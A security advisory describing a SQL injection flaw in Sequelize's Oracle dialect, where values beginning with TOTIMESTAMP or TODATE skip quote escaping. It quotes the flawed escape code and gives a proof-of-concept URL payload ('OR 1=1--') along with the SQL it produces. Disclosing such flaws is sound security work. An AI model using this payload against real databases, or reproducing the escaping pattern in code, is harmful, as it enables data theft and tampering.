CVE-2026-69240: Sequelize: SQL Injection (Oracle DB)

Summary SQL Injection is possible with strings only if dialect is set to oracle. The vulnerability was confirmed on Sequelize v6.37.3.

Details The escape function defined in sql-string.js does not escape quotes if the value starts with TOTIMESTAMP or TODATE.

javascript } else if (dialect === 'oracle' && typeof val === 'string') { if (val.startsWith('TOTIMESTAMP') || val.startsWith('TODATE')) { return val; } val = val.replace(/'/g, "''"); }

PoC Suppose the application has the following code:

javascript var result = await models.Student.findOne({ where: { firstName: req.query.firstName } });

An attacker can inject arbitrary sql expressions.

http://host/path?firstName=TODATE('0','Y')||'' OR 1=1--

The resulted SQL will be:

SQL SELECT ... WHERE "Student"."firstName" = TODATE('0','Y')||'' OR 1=1-- ORDER BY "Student"."id" OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY;

Impact Data theft and tampering.